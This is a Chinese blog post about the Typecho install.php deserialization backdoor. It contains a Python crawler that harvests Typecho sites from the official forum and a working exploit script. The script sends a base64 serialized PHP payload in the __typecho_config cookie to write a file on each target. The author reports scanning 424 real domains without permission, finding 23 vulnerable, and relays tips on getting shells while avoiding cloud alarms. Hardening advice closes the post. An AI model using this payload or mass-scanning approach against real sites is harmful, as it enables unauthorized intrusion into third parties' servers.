Typecho-install-backdoor

大杀器呀呀呀~

前前前盐

昨晚上看他们在群里发typecho的install有反序列化漏洞,想到自己有个小站就是typecho的,当时她们霸占我的电脑,就用她们的电脑去复现那个漏洞,我明确记得我的确没有删除install.php文件,而且因为备案问题它已经停了两个月了,讲道理嘛,他是有漏洞的,却没有复现成功,于是傻不兮兮的将网址发群里请大表来帮忙测试一番,等9点多时我打算登录后台看看日志查找失败的原因,结果却发现了有趣的东西,存在后门。。。由于时间不对,很明显不是自己的杰作,又去翻了下日志果然。。。。
今天早上无聊去网上找了下发现之前那篇文章少说了一个重点,现在补充条件:

  1. 2014年至2017-10-13之间下载的存在该后门
  2. 后门在install.php文件中,所以此文件要存在
  3. 利用时使用get请求,参数为finish=2333
  4. referer需要指向本站
  5. cookies里面写上exp

收集网站

首先想到的是在typecho官方站的论坛里面找,因为它有一个秀站板块,很多人搭建好以后会在那里发链接,分析论坛页面发现是js的为了方便就直接全部跑了一遍:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#coding=utf-8
import re
from requests import *

#import threading
#youlian = ["QuanZi.html","links.html","friends","py.html"]

regr = r'(?<=<a class="postlink" href=")http(s)?:\/\/(www\.)?[a-zA-Z0-9]{1,30}\.[a-zA-Z0-9]{1,30}(\.[a-zA-Z0-9]{1,30})?'
reg = re.compile(regr)
f = open("ip",'a')
def pageCB(start,end):
for i in range(start,end,1):
url = "http://forum.typecho.org/viewtopic.php?f=19&t=%d"%i
try:
l = request("GET",url)
if l.status_code == 404:
continue
content = l.text
for i in reg.finditer(content):
url = i.group()
print url
f.write(url+"\r\n")
break
except:
print "Eerr0r!"
pageCB(0,10460)

本来还想继续写爬虫去顺着友链爬,后来少宇大表教我了新姿势:

另外,为了真加娱乐性,还可以这样玩(黑吃黑?):

扫描漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# -*- coding: utf-8 -*-
from requests import *
"""
<?php ##来源psec.net

class Typecho_Feed{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array();

public function addItem(array $item){
$this->_items[] = $item;
}
}

class Typecho_Request{
private $_params = array('screenName'=>'file_put_contents(\'beta.php\', \'<?php echo "beta";?>\')');
private $_filter = array('assert');
}

$payload1 = new Typecho_Feed();
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho');
echo base64_encode(serialize($exp));
"""

exp = "YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEu"
exp += "MCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMD"
exp += "oiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5"
exp += "cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTM6ImZpbGVfcHV0X2NvbnRlbnRzKCdiZXRhLnBocCcsICc8P3BocCBlY"
exp += "2hvICJiZXRhIjs/PicpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6
exp += "InByZWZpeCI7czo3OiJ0eXBlY2hvIjt9"

cookies = {"__typecho_config":exp}

def exp(url):
url2 = url+"/install.php?finish=2"
headers = {
"referer": url + "/index.php"
}
reponse = request("GET",url = url2,headers = headers,cookies = cookies,timeout=3)
if reponse.status_code == 500:
with open("vul","a") as f: #成功写入这个文件里面
f.write(url+"\r\n"); #这里还可以再进一步确认,即访问beta.php页面
print "find vul: %s"%(url)
else:
print "maybe not vul: %s"%(url)

'''
with open("ip",'r') as f:
lines = set(f.readlines())
with open("newIp",'w') as n:
for i in lines:
n.write(i)
'''
with open("ip.txt",'r') as n:
for i in n.readlines():
try:
exp(i.strip())
except:
print "Err0r!"

'''
while True:
url = raw_input("url:")
url = url.strip()
try:
exp(url)
except:
print "Error!"
'''

桀桀桀局


如上,发现typecho的用户还是挺多的,而有漏洞的typecho站点占的比例也很大,下面带ctf关键字是手工使用谷歌搜索的,结果发现在10多个站中只有一个站存在漏洞,这充分说明…..打ctf比较安全:

写到这里,情不自禁?决定跑一波看看这个比例到底多大,于是选了400多个域名来测试(不准确,含ctf的网站也不一定就是安全学习或从业人员的站):

最后一句代码写错了,意识到脚本语言的缺陷了,只能手动找,发现共测试424个域名,有漏洞的有23个,占比5.4%
最后,郑重声明老王没有做坏事,下面的都是别人讲的,我只是听听并做总结(认真脸!)

  1. 大部分站点都是虚拟主机所以不能执行绝大多数命令,只能拿到很低的权限,所以vps用户也有好处呀
  2. 部署完网站一定要记得清理安装文件,本来用不上倒转成了累赘
  3. 阿里云默认就是root权限所在在搭建web应用时一定要记得降权,另外阿里云有报警,所以拿shell要小心呐
  4. web目录权限也要配好,什么写权限的能不给就不给,而且要弄个chroot,被入侵了数据库应该也被下了,所以记得检查数据库
  5. hexo安全性天下第一!!!!
  6. 想到再写吧,这个就告一段落,玩物丧志。。。。。